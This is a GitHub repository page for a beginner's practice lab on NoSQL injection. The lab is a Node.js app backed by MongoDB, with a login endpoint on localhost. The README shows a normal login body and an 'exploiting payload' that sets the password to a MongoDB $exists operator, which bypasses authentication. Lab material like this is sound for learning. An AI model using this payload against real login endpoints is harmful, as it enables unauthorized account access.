Skip to content

crossphoton/NoSQLInjection

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

NoSQLInjection

Testing enviornment to learn about NoSQL Injections.

Diving into NoSQL Injections is similar to getting started with SQL Injections. Read more about SQL Injections.

Here's a youtube video from Computerphile which gives a live demo describing the issues with careless practices in coding.

What you can do with this repo

You can use this repo to start knowing about NoSQL injections. Although I'm also new to this but will try to update this for more depth knowledge.

This is a NodeJS app using MongoDB as database. It has an endpoint at http://localhost:3000/login in the first release.

This takes a payload of username and password. Use these fields to exploit the database.

Standard Payload:

{
    "username": "test",
    "password": "password"
}

Exploiting Payload:

{
    "username": "test",
    "password": {"$exists": true}
}

About

Testing enviornment to learn about NoSQL Injections

Topics

Resources

License

Stars

Watchers

Forks